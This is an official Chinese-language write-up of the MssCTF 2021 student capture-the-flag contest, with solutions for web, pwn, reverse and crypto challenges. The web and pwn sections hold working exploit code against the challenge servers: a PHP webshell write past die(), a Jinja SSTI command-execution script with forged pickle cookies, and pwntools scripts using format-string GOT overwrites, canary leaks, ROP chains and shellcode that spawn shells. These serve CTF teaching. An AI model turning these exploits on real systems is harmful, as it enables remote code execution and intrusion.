第四届全国中学生网络安全竞赛 MssCTF 官方WriteUp
WEB
前言
具体的知识点已经在复盘时讲解过,就不在wp中给出详细的解释
HS.com
考点
- 405状态码的含义
- $_REQUEST在GET,POST,COOKIE同名时,处理的优先级问题
- burpsuite抓包改包
打开题目405,实际是请求方法不正确,抓包,在响应头中可以看到被允许的请求方法是HS
修改请求方法后发包,可以看到源码的回显
GPC的优先级在PHP.INI里可以设置,variables_order = “GPCS” ,在这道题中,当Cookie,GET,POST重名时,$_REQUEST取Cookie的值,
所以我们只需要get传参innerspace=[随便什么值],然后cookie传参innerspace=mssctf即可成功得到flag
babyPHP
考点
- Intval()的一个特性
- file_get_contents()与php伪协议的结合使用
- 无参数文件读取
intval()处理十六进制字符串时,会返回0,十六进制字符串与十进制数进行运算时,会先转化为十进制数再去计算
data://伪协议可以用于写入字符串
本题用到的一些函数:
-
getcwd() 函数返回当前工作目录
-
scandir() 函数返回指定目录中的文件和目录的数组
-
array_reverse() 函数以相反的元素顺序返回数组
-
next() 函数将内部指针指向数组中的下一个元素,并输出
可以看到flag.php在倒数第二个位置
最终payload:level1=0x1011&level2=data://text/plain,mssCTF is interesting!&level3=show_source(next(array_reverse(scandir(getcwd()))))
Include
考点
- 数组下标溢出导致赋值失败
- 绕过死亡die
第一步:绕过if判断
64位系统中PHP_INT_SIZE:8,PHP_INT_MAX:2^63^-1,所以数组下标的最大值就是9223372036854775807,这里如果我们给数组的第2^63^-1赋值,进行自动赋值时就会在2^63^发生溢出,导致赋值失败,返回NULL,绕过if的判断
所以我们只要让$a=9223372036854775806
即可
第二步:绕过死亡die
file_put_contents()是一个可以写入文件的函数,显然我们可以利用变量c和它来写入webshell,问题出现在,如果我们利用变量c写入webshell,无论我们如何写入,都会由于前面拼接的死亡die,而导致shell无法正常执行。所以核心考察如何绕过die这个函数,可以想办法在写入文件时,让die这个函数消失。
file_put_contents()这个函数是可以和php伪协议一起使用的,那么我们就可以利用php://filter协议来让die函数消失
在php中base64的解码过程是:只对包含在解码范围内的字符进行解码,不包含在内的字符直接忽略,然后将剩余字符组合到一起
也就是说要对<?php die('Victory is in sight');?>
进行base64解码时,实际解码的字符phpdieVictoryisinsight
这22个字符,base64的解码原理简单理解为将每4个字符放在一组进行解码,所以我们可以在给这22个字符补2个字符aa,让它刚好可以被解码
可见,死亡die被解码去掉了,之后我们就可以在aa后加入想要写入的代码的base64编码
payload
?a=9223372036854775806&b=php://filter/write=convert.base64-decode/resource=125.php
post传参
c=aaPD9waHAgc2hvd19zb3VyY2UoImZsYWcucGhwIik7Pz4=
FakeSite
考点
- pickle的使用
- ssti模板注入
打开题目,F12查看源码
看到了login,register,forum几个页面,每个都访问一下,发现只有login能用
是一个登录界面,但是随便输个符合要求的账号密码就可以登录,登录后提示未授权,并提示需要admin权限
要认证管理员权限,首先想到就是cookie的认证,发现cookie中一个HSession,里面有一个字符串,末尾是%3D
,也就是=
,所以猜测是base64编码
写一个简单的python脚本解一下
可以看到是一些不可见字符,并且包含了我们之前所输入的用户名,最主要出现了admin字样,猜测修改掉这个字符串中的某个位置,可以切换为admin
类比php序列化字符串不难想到,是python的序列化字符串,所以接下来只要找到分析python序列化字符串的方法就可以
使用python的模块pickle就可以处理python的序列化字符串
-
dumps():将 Python 中的对象序列化成二进制对象,并返回;
-
loads():读取给定的二进制对象数据,并将其转换为 Python 对象;
将False改为True,即可认证admin身份
成功认证admin身份后,我们可以看到用户名Hanshu
被回显到了页面上,猜测存在SSTI模板注入
发现确实存在SSTI模板注入
经过一些测试,可以知道过滤了.
'
|
+
以及一些关键字os,class,base,init,flag,system
.被过滤我们可以用[]代替
'被过滤我们可以用"去进行拼接,来绕过关键字过滤
exp
from base64 import b64decode as bd
from base64 import b64encode as be
from urllib import parse
import pickle
import requests
import time
#url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "profile"
url = "http://127.0.0.1:5000/profile"
while True:
code = input("\033[1;34m[^_^] > \033[0m")
if code == "BRUTE":
for i in range(0, 200):
print("@ ",i)
pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\"o\"\"s\")")["popen"]("echo hsyyds")["read"]()}}'
user = {"username": pcode, "admin": True}
headers = {
"Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
}
response = requests.get(url=url, headers=headers)
if "500" in response.text:
print("\033[1;31m[x_x] @", i, " is not correct.\033[0m")
if "hsyyds" in response.text:
print("\033[1;33m[@_@] Probably find flag.\033[0m")
print("\033[1;33m", response.text, "\033[0m")
break
time.sleep(0.2)
else:
user = {"username": "{{"+code+"}}", "admin": True}
headers = {
"Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
}
response = requests.get(url=url, headers=headers)
if "500 Internal Server Error" in response:
print("\033[1;31m[x_x] Execute Error.\033[0m")
else:
print(response.text)
PWN
第一题:signin
思路
想着线上赛第一道题出的简单一点……什么简单呢?
栈溢出?格式化字符串?整数溢出?
唔~第一道题,给个比较简单的东西吧!
整数溢出+栈溢出(有backdoor)
exp:
from pwn import *
context.log_level = 'debug'
p = remote('pwn.mssctf.woooo.tech',10040)
payload = b'ZXFxaWUmY29yMWU='+b'a'*(0x92-0x15)+p32(0x080492b6)+b'b'*129
p.send(payload)
p.interactive()
第二题:format
思路
唔~第二道题,给个简单的格式化字符串,稍微有一点特点,估计得自己手动写payload
(希望……根据第一道题的难度,决定第二道题的难度。可以再开个pie什么的增加点难度……
劫持got
表
exp
from pwn import *
context(arch='amd64', os='linux')
# p = process ('./format')
elf = ELF ('./format')
# gdb.attach(p)
libc = ELF('./libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a428]
def pwn(x):
#p = process('./format',env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote('1.117.139.210', 9603)
#gdb.attach(p,"b $rebase(0x1536)")
p.recvuntil("Who would you like to call?\n")
p.sendline('7')
p.recvuntil("Sorry~He's bussy now.But you can leave him THREE messages here:")
p.sendline('%69$p')
p.recvuntil("Your message: ")
libc_base = int(p.recv(14), 16) - 231 - libc.sym['__libc_start_main']
log.success('__libc_base => {}'.format(hex(libc_base)))
p.sendline('%65$p')
p.recvuntil("Your message: ")
elf_base = int(p.recv(14), 16) - elf.sym['main'] - 45
log.success('main => {}'.format(hex(elf_base)))
exit_add = elf.got['exit'] + elf_base
one_gadget_add = one_gadget[x] + libc_base
p.sendline(fmtstr_payload(14, {exit_add: one_gadget_add}, numbwritten=14))
p.sendline('a')
p.interactive()
#for i in range(len(one_gadget)):
# log.info(str(i))
# pwn(i)
pwn(4)
或者
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
# p = process ('./format')
p = remote('1.117.139.210', 9603)
elf = ELF ('./format')
# gdb.attach(p)
libc = ELF('libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a428]
p.recvuntil("Who would you like to call?\n")
p.sendline('7')
p.recvuntil("Sorry~He's bussy now.But you can leave him THREE messages here:")
p.sendline('%69$p')
p.recvuntil("Your message: ")
libc_base = int(p.recv(14), 16) - 231 - libc.sym['__libc_start_main']
log.success('__libc_base => {}'.format(hex(libc_base)))
p.sendline('%65$p')
p.recvuntil("Your message: ")
elf_base = int(p.recv(14), 16) - elf.sym['main'] - 45
log.success('main => {}'.format(hex(elf_base)))
puts_add = elf.got['puts'] + elf_base
system_add = libc.sym['system'] + libc_base
p.sendline(fmtstr_payload(14, {puts_add: system_add}, numbwritten=14))
p.sendline('//bin/sh')
p.interactive()
第三题 over
思路
稍微复杂了点,先输入,手动初始化栈,负数下标访问越界,修改参数,加和求出canary,read函数栈溢出。
exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote ('pwn.mssctf.woooo.tech', 10075)
p = process('./over')
elf = ELF('./over')
# gdb.attach(p, 'b *0x401677\nc\n')
cannery_offset = 105
cannery = []
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_add = elf.symbols['main']
pop_rdi_ret = 0x0000000000401703
ret_add = 0x000000000040101a
puts_leak = 0x0
puts_off = 0x0000000000080aa0
system_off = 0x000000000004f550
binsh_off = 0x1b3e1a
def choose(choice):
p.recvuntil("Your choice: ")
p.sendline(str(choice))
def put_in_junkdata(offset):
choose(1)
p.recvuntil("Tell me how many numbers you want to handle(most 99):\n")
p.sendline(str(offset))
for i in range(int(offset)):
p.sendline('0')
def tamper_num(offset, num_to_change):
choose(2)
p.recvuntil("Change which one?\n")
p.sendline(str(offset))
p.recvuntil("New value: ")
p.sendline(str(num_to_change))
def leak_by_sum():
choose(3)
p.recvuntil("The SUM of the numbers: ")
return int(p.recvline()[ :-1])
def put_in_junkadvice(payload):
choose(5)
p.recvuntil("Do you have any advice for my products?\nLeave message,please!\n")
p.sendline(payload)
def leak_cannery():
tamper_num(-4, cannery_offset - 1)
temp_sum = leak_by_sum()
for i in range(8):
tamper_num(-4, cannery_offset + i)
cannery.append(chr(leak_by_sum() - temp_sum))
temp_sum += ord(cannery[len(cannery) - 1])
print cannery
def leak_libc_base():
global puts_leak
payload = flat([
'a' * (0x70 - 8),
cannery[0],
cannery[1],
cannery[2],
cannery[3],
cannery[4],
cannery[5],
cannery[6],
cannery[7],
'b' * 8,
p64(pop_rdi_ret),
p64(puts_got),
p64(puts_plt),
p64(main_add)
])
put_in_junkadvice(payload)
print 'success1'
p.recvuntil("Copy that!I'll take your advice seriously!!!\n")
puts_leak = u64(p.recv(6).ljust(8, '\x00'))
log.success('puts_leak=>{}'.format(hex(puts_leak)))
def ret2libc():
system_add = puts_leak - puts_off + system_off # + libc.dump('system')#
binsh_add = puts_leak - puts_off + binsh_off # + libc.dump('str_bin_sh')#
# print 'binsh_add' + str(binsh_add)
payload = flat([
'a' * (0x70 - 8),
cannery[0],
cannery[1],
cannery[2],
cannery[3],
cannery[4],
cannery[5],
cannery[6],
cannery[7],
'b' * 8,
p64(pop_rdi_ret),
p64(binsh_add),
p64(ret_add),
p64(system_add)
])
put_in_junkadvice(payload)
def pwn():
leak_cannery()
leak_libc_base()
ret2libc()
if __name__ == '__main__':
pwn()
p.interactive()
第四题:shellcode
思路
很简单的shellcode,稍微得看看汇编,,有个10的offset
exp
from pwn import *
context.arch = 'amd64'
p = remote('1.117.139.210', 9605)
payload = b'a'*10 + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
第五题:crypto
感谢fnv1c师傅的命题
命题背景
考虑到ctf比赛面向中学生,题目不宜过难。因此本题避开了繁难的堆相关考点,将栈作为题目的支点。
栈溢出相关题目难度低的特点,使其同质化、模板化现象较为严重,甚至出现了调试器自动化pwn的方法。为了切合mssctf“能力、发现、成长”的主题,本题目引入了堆溢出题目的一个创新点,需要选手在基本功扎实的同时敢于探索,在特殊条件限制中发现突破点,最终完成题目,实现pwn相关能力的成长。
考点
frame pointer off-by-one-null(创新),ROP基础操作,pwn基础知识
解题思路
- 首先对题目提供的二进制文件进行checksec,
Stack: No canary found
表明没有开启栈canary保护,考虑可能有栈溢出风险。 - 对main函数逆向,可以看到
char buf[139]; // [rsp+0h] [rbp-90h]
char v5; // [rsp+8Bh] [rbp-5h]
int i; // [rsp+8Ch] [rbp-4h]
puts("enter your plain_text");
buf[read(0, buf, 128uLL)] = 0; //内容读入buf,139>128+1,无法溢出
puts("enter your chiper");
v5 = sub_1169(); //子输入函数
for ( i = 0; i <= 127; ++i )
buf[i] ^= v5; //通过v5结果对buf进行循环异或加密
puts("is this your flag?");
write(1, buf, 128uLL); //输出异或后buf
putchar(10); //'\n'
puts("tell me your flag");
buf[read(0, buf, 0x80uLL)] = 0; //内容读入buf,同上分析,无法溢出
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
buf[read(0, buf, 32)] = 0; //当输入大小为32时,相当于buf填满,并且buf[32]=0,也就是额外一个字节被写了0,即所谓off-by-one-null
return (unsigned __int8)buf[2] ^ (unsigned __int8)buf[1] ^ (unsigned __int8)buf[0] ^ (unsigned int)(unsigned __int8)buf[3];
- 发现子函数溢出点,但是难以直接利用。由于只能给溢出一个uint8(0),所以无法进行rop布局,同时由于程序开启了aslr保护,即使可以额外溢出,也无法确定gadget地址。
- 下面的内容可能需要你有栈帧、ASLR、little endian的一些预备知识来便于理解
- 通过ida自带的栈布局功能,查看off-by-null覆盖了栈上的哪个关键值
-0000000000000020 buf db 32 dup(?) ; string(C)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
- buf为缓冲区,溢出一个字节0到s。s是什么,通过栈帧知识可以知道,是caller(main)的rbp。即使不知道栈帧,根据sub函数的反汇编,也可以确定s是被压栈的rbp。由于执行环境是little-endian(小端序),所以off-one-null的效果是让栈上的rbp最低位字节清零。(0xaabbccdd->0xaabbcc00)
push rbp
mov rbp, rsp
sub rsp, 20h
- sub返回前,执行leave指令,rsp=rbp,rbp出栈。唯一漏洞利用点就是清零rbp的最低位字节
- 只有rbp可被利用,就要考虑rbp对程序带来的影响,通过栈帧知识可以知道,main函数的rbp指向栈底(地址较大处),通过rbp减去常数的寄存器相对寻址来定位局部变量。(即使你不知道栈帧,通过汇编也能看出局部变量是通过rbp寻址的)
- rbp最低位字节清零的直接影响不太好想,不妨画图辅助理解,注意:下图中十六进制数字不代表地址,只表明地址空间增长方向
-0x1 callee2's data
0x0 retaddr@callee(此函数调用另一个函数时,此处为retaddr)
<-rsp here
0x1 localvarx@callee
0x2 ...
0x3 ...
0x4 ...
0x5 ...
0x6 localvar2@callee
0x7 localvar1@callee
0x8 retaddr@caller <-rbp here
- 正常情况下,程序通过rbp-0x7确定localvarx的地址,但当rbp最低位字节清零后,rbp显然会变小(或者当最低位字节本来为0时,大小不变),变小的结果就是程序人为0x1以上的地址是localvarx的地址,也就是说,访问localvarx时,可能访问到retaddr@callee。
- 值得注意的是,rbp存储栈相关地址,由于ASLR,rbp的值也是随机的,所以每次攻击导致rbp向低地址处偏移的量是不同的,只有一部分情况满足攻击条件
- 下面开始利用
- sub_1169输入字符串并且以此计算密钥,可以输入全'\0'字符串使密钥为0, 并且进行rbp off-by-one-null.
- 随后main输出buf内容(lea rax, [rbp-90h]),由于rbp值未知,输出有几种可能性
1.原buf内容
2.buf地址以上的内容
3.1和2混合
- 为了确定攻击后,我们可以控制的栈上地址的相对位置,不妨将buf设置成特殊标记字符串,再在此输出中查找标记串。
- 由上面的栈布局简图,我们可以写入buf地址以上的内容,尽管写入不会影响main函数的正常流程,但写入影响了read函数的retaddr,也就是说read完成后就会跳转到我们的rop链了。
- 确定栈溢出攻击方式后,就可以构造rop链了。
1.首先通过栈上残留的retaddr确定elf基址,再puts(read@got),获取read函数地址,以此算出libc基址,再跳回main准备二次rop
可能的非预期:栈上残留信息直接得出libc基址,只通过一次rop就getshell
2.栈上写入"/bin/sh"地址和pop rdi,最后执行system,获得shell
后话
- 为了降低题目难度,直接给出了libc,不妨考虑下没有libc的攻击方式。
- exp使用了叫做ret sled的payload构造技巧,如果你觉得计算retaddr在payload中的相对位置很麻烦,可以给payload前端填满ret。
- wp写很长,主要为了便于没有调试环境的同学理解。如果有动态调试环境,攻击方法是肉眼可见的。
exp
from pwn import *
p = process("./crypto")
elf = ELF("./crypto")
#context.log_level = 'DEBUG'
context.terminal = ['lxterminal', '-e']
p.sendafter(b"enter your plain_text\n", "*!" * (126//2))
p.sendafter("enter your chiper\n", b"\x00" * 32)
p.recvuntil("is this your flag?\n", True)
dump = p.recv(128)
p.recvuntil("tell me your flag\n", True)
pos = dump.find(b"*!")
assert (pos >= 8)
avail_rops = (128 - pos) // 8
assert (avail_rops >= 4) # pop rdi;rdi(puts@got);puts got;main+26;
leak_base = u64(dump[pos - 8:pos]) - 0x0000000000001254
print("elf_base "+hex(leak_base))
rop_poprdi = 0x0000000000001303 + leak_base
rop_ret = 0x0000000000001294+leak_base
puts_got = elf.got['puts']+leak_base
payload = ((pos - 8) * b"a" + p64(rop_poprdi) + p64(puts_got) +
p64(elf.plt['puts']+leak_base) + p64(0x11a4+26+leak_base)).ljust(128, b"a")
p.send(payload)
puts_addr = u64(p.recvline().rstrip().ljust(8, b"\x00"))
libc = ELF("./libc.so.6")
libc_base = puts_addr-libc.symbols['puts']
libc_binsh = next(libc.search(b"/bin/sh\x00"))
print("libc_base "+hex(libc_base))
payload = ((128//8)-3)*p64(rop_ret)+p64(rop_poprdi) + \
p64(libc_base + libc_binsh) + p64(libc_base + libc.symbols["system"])
p.send(payload)
p.interactive()
REVERSE
Signin
WP
本题中比较坑的一点就是,ida将en_flag识别成了4个long long的数字,因此在ida中看到的en_flag是小端序形式存储的。
有两种方法能得到字符串形式的en_flag,一种是动态调试查看hex表,另一种是手动将小端序转化,两种方法都不是很难。
exp如下
en_flag = "\x31\x6C\x3D\x3F\x71\x71\x24\x27\x2D\x29\x2F\x27\x44\x16\x45\x47\x1E\x1A\x15\x4B\x55\x04\x02\x02\x59\x0A\x0D\x58\x23\x24\x74\x72"
flag = ""
print(len(en_flag))
for i in range(32):
flag += chr(ord(en_flag[i])^(2*(i+4)))
print(flag)
EZcpp
WP
本体难点主要在于c++逆向中,string类型的全局变量初始化使用的时basic_string方法,并且初始化函数并不在main函数中,需要使用交叉引用来寻找被加密的flag在哪里。
另一个难点就是ida识别出来的c++代码比较难以阅读,需要识别出at、==等方法。
en_flag = "\x77\x4D\x49\x44\x4B\x44\x4C\x4B\x34\x85\x88\x38\x3C\x8B\x8B\x3D\x27\x22\x29\x59\x5C\x2B\x26\x2F\x17\x19\x67\x66\x1B\x1F\x17\x6F"
flag = ""
for i in range(32):
flag += chr((ord(en_flag[i])-18)^(i*2))
print(flag)
Strange_pyc
WP
首先使用marshal获取字节码
import dis,marshal
f=open("Strange_pyc.pyc","rb").read()
code = marshal.loads(f[16:])
dis.dis(code)
字节码如下
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (time)
6 STORE_NAME 0 (time)
3 8 LOAD_NAME 1 (print)
10 LOAD_CONST 2 ('[Strange_pyc] Welcome to mssctf2021.')
12 CALL_FUNCTION 1
14 POP_TOP
4 16 BUILD_LIST 0
18 LOAD_CONST 3 ((75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27))
20 LIST_EXTEND 1
22 STORE_NAME 2 (magic)
7 24 LOAD_NAME 3 (input)
26 LOAD_CONST 4 ('please input your password : ')
28 CALL_FUNCTION 1
30 STORE_NAME 4 (hanser)
8 32 LOAD_NAME 5 (list)
34 LOAD_NAME 4 (hanser)
36 CALL_FUNCTION 1
38 STORE_NAME 6 (ipt)
9 40 LOAD_NAME 7 (len)
42 LOAD_NAME 6 (ipt)
44 CALL_FUNCTION 1
46 LOAD_NAME 7 (len)
48 LOAD_NAME 2 (magic)
50 CALL_FUNCTION 1
52 COMPARE_OP 3 (!=)
54 POP_JUMP_IF_FALSE 82
10 56 LOAD_NAME 1 (print)
58 LOAD_CONST 5 ('QwQ , you are wrong . Try again ! ')
60 CALL_FUNCTION 1
62 POP_TOP
11 64 LOAD_NAME 0 (time)
66 LOAD_METHOD 8 (sleep)
68 LOAD_CONST 6 (114514)
70 CALL_METHOD 1
72 POP_TOP
12 74 LOAD_NAME 9 (exit)
76 LOAD_CONST 6 (114514)
78 CALL_FUNCTION 1
80 POP_TOP
13 >> 82 LOAD_NAME 10 (range)
84 LOAD_NAME 7 (len)
86 LOAD_NAME 6 (ipt)
88 CALL_FUNCTION 1
90 LOAD_CONST 7 (2)
92 BINARY_FLOOR_DIVIDE
94 CALL_FUNCTION 1
96 GET_ITER
>> 98 FOR_ITER 54 (to 154)
100 STORE_NAME 11 (i)
14 102 LOAD_NAME 6 (ipt)
104 LOAD_NAME 11 (i)
106 LOAD_CONST 7 (2)
108 BINARY_MULTIPLY
110 LOAD_CONST 8 (1)
112 BINARY_ADD
114 BINARY_SUBSCR
116 LOAD_NAME 6 (ipt)
118 LOAD_NAME 11 (i)
120 LOAD_CONST 7 (2)
122 BINARY_MULTIPLY
124 BINARY_SUBSCR
126 ROT_TWO
128 LOAD_NAME 6 (ipt)
130 LOAD_NAME 11 (i)
132 LOAD_CONST 7 (2)
134 BINARY_MULTIPLY
136 STORE_SUBSCR
138 LOAD_NAME 6 (ipt)
140 LOAD_NAME 11 (i)
142 LOAD_CONST 7 (2)
144 BINARY_MULTIPLY
146 LOAD_CONST 8 (1)
148 BINARY_ADD
150 STORE_SUBSCR
152 JUMP_ABSOLUTE 98
15 >> 154 LOAD_NAME 10 (range)
156 LOAD_NAME 7 (len)
158 LOAD_NAME 6 (ipt)
160 CALL_FUNCTION 1
162 CALL_FUNCTION 1
164 GET_ITER
>> 166 FOR_ITER 24 (to 192)
168 STORE_NAME 11 (i)
16 170 LOAD_NAME 12 (ord)
172 LOAD_NAME 6 (ipt)
174 LOAD_NAME 11 (i)
176 BINARY_SUBSCR
178 CALL_FUNCTION 1
180 LOAD_CONST 9 (126)
182 BINARY_XOR
184 LOAD_NAME 6 (ipt)
186 LOAD_NAME 11 (i)
188 STORE_SUBSCR
190 JUMP_ABSOLUTE 166
17 >> 192 LOAD_NAME 10 (range)
194 LOAD_NAME 7 (len)
196 LOAD_NAME 6 (ipt)
198 CALL_FUNCTION 1
200 CALL_FUNCTION 1
202 GET_ITER
>> 204 FOR_ITER 46 (to 252)
206 STORE_NAME 11 (i)
18 208 LOAD_NAME 6 (ipt)
210 LOAD_NAME 11 (i)
212 BINARY_SUBSCR
214 LOAD_NAME 2 (magic)
216 LOAD_NAME 11 (i)
218 BINARY_SUBSCR
220 COMPARE_OP 3 (!=)
222 POP_JUMP_IF_FALSE 204
19 224 LOAD_NAME 1 (print)
226 LOAD_CONST 5 ('QwQ , you are wrong . Try again ! ')
228 CALL_FUNCTION 1
230 POP_TOP
20 232 LOAD_NAME 0 (time)
234 LOAD_METHOD 8 (sleep)
236 LOAD_CONST 6 (114514)
238 CALL_METHOD 1
240 POP_TOP
21 242 LOAD_NAME 9 (exit)
244 LOAD_CONST 6 (114514)
246 CALL_FUNCTION 1
248 POP_TOP
250 JUMP_ABSOLUTE 204
22 >> 252 LOAD_NAME 1 (print)
254 LOAD_CONST 10 ('Congratulations!!!')
256 CALL_FUNCTION 1
258 POP_TOP
23 260 LOAD_NAME 1 (print)
262 LOAD_CONST 11 ('Here is your flag : mssctf{')
264 LOAD_NAME 4 (hanser)
266 BINARY_ADD
268 LOAD_CONST 12 ('}')
270 BINARY_ADD
272 CALL_FUNCTION 1
274 POP_TOP
24 276 LOAD_NAME 0 (time)
278 LOAD_METHOD 8 (sleep)
280 LOAD_CONST 6 (114514)
282 CALL_METHOD 1
284 POP_TOP
286 LOAD_CONST 1 (None)
288 RETURN_VALUE
翻译字节码得到python源代码
print("[Strange_pyc] Welcome to mssctf2021.")
magic = [75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27]
hanser = input("please input your password : ")
input = list(hanser)
if len(input) != len(magic):
print("QwQ , you are wrong . Try again ! ")
exit(114514)
for i in range(len(input)//2):
input[i], input[i+1] = input[i+1], input[i]
for i in range(len(input)):
input[i] = ord(input[i]) ^ 126
for i in range(len(input)):
if input[i] != magic[i]:
print("QwQ , you are wrong . Try again ! ")
exit(114514)
print("Congratulations!!!")
print("Here is your flag : " + "mssctf{" + hanser + "}")
写脚本解密
ipt = [75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27]
for i in range(len(ipt)):
ipt[i] ^= 126
for i in range(len(ipt)//2):
ipt[i*2], ipt[i*2+1] = ipt[i*2+1], ipt[i*2]
for i in range(len(ipt)):
print(chr(ipt[i]),end="")
三点多了,饮茶啦先
WP
简单的TEA加密,只不过把key和delta替换了
#include <stdio.h>
int main()
{
unsigned char en_flag[100] = "\x7A\xE8\xD9\x07\x59\x2B\x30\x92\x54\x3A\x62\xB6\x6D\x99\x83\x41\x7E\x65\x01\xA4\xFE\x4A\x47\x8B\x91\x23\x3D\xCD\x8D\xF0\xCB\x4A";
unsigned int flag[8] = {0};
for (int i = 0; i < 4; i++)
{
unsigned int var1 = *((unsigned int *)&en_flag[i*8]);
unsigned int var2 = *((unsigned int *)&en_flag[i*8] + 1);
unsigned int key[4] = {114, 514, 1919, 810};
unsigned int delta = 0xdeadbeef;
unsigned int sum = 0xd5b7dde0;
for (int j = 0; j < 32; j++)
{
var2 -= (sum + var1) ^ (key[2] + 16 * var1) ^ ((var1 >> 5) + key[3]);
var1 -= (sum + var2) ^ (key[0] + 16 * var2) ^ ((var2 >> 5) + key[1]);
sum -= delta;
}
flag[2 * i] = var1;
flag[2 * i + 1] = var2;
}
char buf[100]={0};
for(int i=0;i<32;i++){
buf[i] = *((char *)flag + i);
}
puts(buf);
}
CRYPTO
OldAffineSignin
我们先看描述
Do you know Affine? \* You need to pack the flag you get with mssctf{\*}
这里直接就提到了 仿射密码 并且需要把flag用mssctf{*}包裹起来. 接下来可以看题目
题目中给出了一个字典 字典里面对应26个字母都有相对应的一个字符,发现他的加 密就是使用这个字典去进行一个一个字符进行加密,那么我们只需要对其进行一个 对应的返回就可以得到我们的flag,这里我是用一一找到他每个字母对应的字母进 行解密,办法挺笨的。当然也可以让字典的键和值都单独输出之后在 zip 打包一下 再去用原函数进行一个解密操作.
exp:
dic = { 'a': 'd','b': 'f','c': 's','d': 'z','e': 'b','f': 'q','g': 'a','h': 'r','i': 't','j': 'w','k': 'y','l': 'x','m': 'v','n': 'p','o': 'm','p': 'n','q': 'l','r': 'u','s': 'o','t': 'h','u': 'j','v': 'k','w': 'i','x': 'g','y': 'e','z': 'c'}
cip = 'dqqtpbtodxombdoe'
flag = ''
for _ in cip:
if _ == "d":
flag = flag + "a"
elif _ == "q":
flag = flag + "f"
elif _ == "t":
flag = flag + "i"
elif _ == "p":
flag = flag + "n"
elif _ == "b":
flag = flag + "e"
elif _ == "o":
flag = flag + "s"
elif _ == "x":
flag = flag + "l"
elif _ == "m":
flag = flag + "o"
elif _ == "e":
flag = flag + 'y'
flag = 'mssctf{' + flag + '}'
print(flag)
or
dic = { 'a': 'd','b': 'f','c': 's','d': 'z','e': 'b','f': 'q','g': 'a','h': 'r','i': 't','j': 'w','k': 'y','l': 'x','m': 'v','n': 'p','o': 'm','p': 'n','q': 'l','r': 'u','s': 'o','t': 'h','u': 'j','v': 'k','w': 'i','x': 'g','y': 'e','z': 'c'}
cip = 'dqqtpbtodxombdoe'
dic = dict(zip(dic.values(),dic.keys()))
flag = ''
for i in cip:
flag += dic[i]
print('mssctf{' + flag + '}')
ezRSA
题目中生成了一个345位的p和q,但是e只有3 assert了一下flag的长度是29位,n是690。那么flag是29*8=232位,我们发现 flag的e次比n就大一点。那么我们就可以去爆破他加密后的是 n的多少倍+上这个cip 可以被3次完全开方掉,爆破出来就是 6 倍。
exp:
from Crypto.Util.number import*
import gmpy2
if __name__ == "__main__":
n = ...
c = ...
e = 3
i = 0
while gmpy2.iroot(c+i*n,e)[1] == False :
i += 1
print(i)
s = gmpy2.iroot(c+i*n,e)[0]
print(long_to_bytes(gmpy2.iroot(c+i*n,e)[0]))
SpecialLCG:
相同的我们去分析题目,一开始assert了flag的长度是24位,并且用这个flag的前8位作为LCG的a,中间8位作为LCG的b,后8位作为LCG的c,并且我们是需要生成一个64位的素数n比a,b,c都大的,同时n也是已知的。seed1 和seed2都是随机生成的64位数 LCG内置中的初始化 state的初始状态是seed1和seed2。 最后给出的已知量是5个data和一个n。 那么我们可以列出以下式子: $$ y_3 = a \times y_2 + b\times y_1 +c \mod n\ y_4 = a \times y_3 + b\times y_2 +c \mod n\ y_5 = a \times y_4 + b\times y_3 +c \mod n\ $$ 由于他是一个3条 线性的三元一次方程 ,我们就可以这样进行 一个消元的办法 去得到这些 a,b,c
思路1:
设 $$ x4=y5-y4,x3=y4-y3,x2=y3-y2,x1=y2-y1 $$ 于是 $$ x4 = (ax3+bx2)%n,x3= (ax2+bx1)%n $$ 所以我们就可以得到 $$ \frac{x4}{x2}=(a\frac{x3}{x2}+b)%n,\frac{x3}{x1}=(a\frac{x2}{x1}+b)%n $$ 接着只需要用常规的乘法逆元就能得到a了 $$ a=\frac{\frac{x4}{x2}-\frac{x3}{x1}}{\frac{x3}{x2}-\frac{x2}{x1}} $$ 拿到了a之后我们就只需要代入(3)中任意一条我们就能拿到b了, $$ b=(\frac{x3}{x1}-a\frac{x2}{x1})%n $$ c就相对更加简单了直接代入原来的表达式当中 $$ c = (y5-ay4-by3)%n $$
from Crypto.Util.number import *
n = 18253588106473969889
data = [8331802587873314500, 16970700310063771377, 16378474859328460142, 13073117282614811463, 747433301416436433]
t = []
for i in range(4):
t.append(data[i+1] - data[i])
a1 = (t[2] * inverse(t[0], n) - t[3] * inverse(t[1],n)) * inverse( (t[1]*inverse(t[0],n)-t[2]*inverse(t[1],n)) ,n) % n
b1 = (t[3] - a1 * t[2])* inverse(t[1],n) % n
c1 = (data[2] - data[1]*a1-data[0]*b1) % n
print(long_to_bytes(a1) + long_to_bytes(b1) + long_to_bytes(c1))
思路2:
